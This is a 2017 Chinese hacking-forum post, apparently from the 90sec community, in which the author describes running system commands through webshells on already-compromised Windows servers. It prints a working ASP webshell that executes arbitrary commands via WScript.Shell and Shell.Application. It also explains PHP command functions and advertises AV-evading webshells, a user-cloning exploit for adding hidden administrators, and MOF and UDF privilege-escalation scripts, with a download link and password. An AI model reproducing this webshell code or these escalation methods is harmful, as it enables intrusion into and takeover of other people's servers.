[【通过】] 浅浅浅谈webshell中执行cmd的一些办法

[复制链接]
love17 发表于 2017-6-28 19:23:12 | 显示全部楼层 |阅读模式

正式成员|主题 |帖子 |积分 139

前些天遇到一个服务器旁站不少,shell也日下了好几个,但是几乎都是一模一样的环境(win2k3+asp+access)挣扎了半天还是没有提下权,然后百度找了好多资料,最终也是没办法,这里就将这些东西记录下。
在一个webshell中,如果要提权的话,首先执行下cmd,如果不能执行的话,在探测下一下支持的脚本(aspx,jsp,php),很多大马都有这个功能。
在一个仅支持asp脚本的webshell中:
首先我们执行一下cmd,很多情况下是不能直接执行的。然后你就可以查看一下支持的组件了。大马中带这个功能,结果如图:
图片1.png

可以看到这些组件的禁用情况,常用的就我红框中的这些组件。大马中自带的执行cmd的组件就是wscript.shellwscript.shell1这两个了,但是如果你不能直接执行,那么就是这两个被禁用了,wscript.network这个组件应该是和上面两个一样的。可以调用cmd的组件就四个:wscript.shellwscript.shell1(wscript.network)shell.application,shell.application1这里它禁用了wscript.shellwscript.shell1这两个,但是我们可以用shell.application,shell.application1这两个组件来执行。(找到一款大马中带了这四个组件的调用,附件见最后),如图: 图片2.png

如果这四个组件都禁用或者卸载了,那么只支持asp环境中那么cmd几乎就没办法执行了。注意:这里服务器中可能只是对这些组件修改了名字,并没有禁用或者卸载,那么可以试试将下面这段代码改名为wshom.ocx上传在到C:\windows\System32\下试试。<object runat=server id=shell scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object> <%if err then%> <object runat=server id=shell scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object> <% end if %> <form method="post"> <input type=text name="cmdx" size=60 value="C:\Documents and Settings\All Users\cmd.exe"><br> <input type=text name="cmd" size=60 value="<%=request.form("cmd")%>"><br> <input type=submit value="cmd命令"></form> <textarea readonly cols=80 rows=20> <%On Error Resume Next if request.form("cmdx")="C:\Documents and Settings\All Users\cmd.exe" then response.write shell.exec("cmd.exe /c"&request.form("cmd")).stdout.readall end if response.write shell.exec(request.form("cmdx")&" /c"&request.form("cmd")).stdout.readall %> </textarea>总结:asp中就一句话,wscript.shellshell.application这两个组件存在一个都可以执行cmd,两个都禁用就gg。(附:有的服务器就算shell.application组件没有禁用好像也不能使用,大概55开感觉。)这个时候可以碰碰运气,上传一个wshom.ocxsystem32目录下,如果还是不行就gg。 aspx中,只要支持aspx,也就是.net环境,那么就跑不掉执行cmd的命运了,直接上一个cmd.aspx脚本就好了,我屡试不爽。 Jsp中,这个权限更大,大家都执行,不能执行cmd的几乎很少吧,我也没遇到,所以没办法讨论了。附上一个只有执行cmd功能的jsp脚本。注意:记得传参,如:www.xxxx.com/cmd.jsp?Cmd=whoami 如果不传参的话就会500错误。这个现象也说明了为什么有的jsp马500错误也可以链接,其实并不是真正的500服务器错误,只是没有传参而已,你传参就不会500了,不像php脚本那样,php的一句话不传参也没事而已。 Php中:Php可以调用wscript.shellshell.application这两个组件,同时还支持system,exec,shell_exec,popen,proc_open,passthru()6个函数来执行命令。我找到一款比较好用的大马,但是是加密的,简单的解下密,这里我就不班门弄斧了,简述看图: 图片3.png
图片4.png
图片5.png

然后在大马中找到执行的cmd模块,发现只有4个函数。
图片6.png

附上一个anfli牛的支持这6个函数的执行cmd的一个仅用来执行cmd的脚本。这里有一个就是假如这些函数在禁用函数名单中中,如果这6个函数有被漏掉的函数,就可以执行cmd命令。还有一个就是开启了安全模式,我在官方文档中看safe_mofe这个开启后并不包括proc_open这个函数,但是还是执行不了cmd,或许与exec这个函数有关吧。附上我原来捣鼓的一个php免杀安全狗,d盾的大马,hacker567.php此文件:
图片7.png
还有一个就是shell.users这个组建,这个主键的作用呢就是在不能使用netnet1的情况下用来添加管理用户的,好像那个api添加账号的办法就与这个组件有关,这里附上一个用户克隆的exp,相信各位表哥也都知道这个exp,这个exp里面支持使用api添加账号,主要用途还是在克隆用户到管理组来突破一些waf拦截添加账号到管理组,以及远程桌面登陆的限制。 最后,附上两个收集到的比较好用的脚本,求90收留我。第一个,php版本的mof提权脚本,方便易操作,界面如图: 图片8.png

第二个也是一个mof脚本,但是调用的是上面说得shell.users组件添加的,有的地方会用到的。 图片9.png

最后为了方便,带上几个用到比较顺手的udf提权脚本。第一个:土司的免杀提权udf脚本,现在不知道是否免杀了,我常用,页面看到好看。第二个:暗月的udf脚本,特点是支持x64位系统的udf,有些地方udf提权出问题是因为操作系统的问题。第三个:还是暗月的udf提权脚本,说得是支持高版本的php,但是我还没有感受到,反正留到多一条路。 脚本链接: http://pan.baidu.com/s/1eS48Gam 密码: 9090   //压缩包密码:90sec 这里附上网上学到的一个装逼的小技巧,就是自定义百度云分享的密码:在网页版上,选中要分享的文件,然后点击分享,然后f12,在控制台中输入下面的代码,回车,在点击创建私密链接就会出现叫你自定义密码的框了。javascript:require(["function-widget-1:share/util/service/createLinkShare.js"]).prototype.makePrivatePassword=function(){return prompt("请输入自定义的密码","1234")} 还望能收留我这个菜鸟,给一个平台向各位师傅学习。


评分

参与人数 1酒票 +5 收起 理由
管理05 + 5 欢迎加入90!

查看全部评分

0x0day 发表于 2017-6-30 10:34:10 | 显示全部楼层

正式成员|主题 |帖子 |积分 186

分享精神可贵!欢迎加入90!
这只猪 发表于 2017-7-3 10:42:39 | 显示全部楼层

正式成员|主题 |帖子 |积分 120

90的收藏是不是有问题,一直在哪里转圈圈
快速回复 返回顶部 返回列表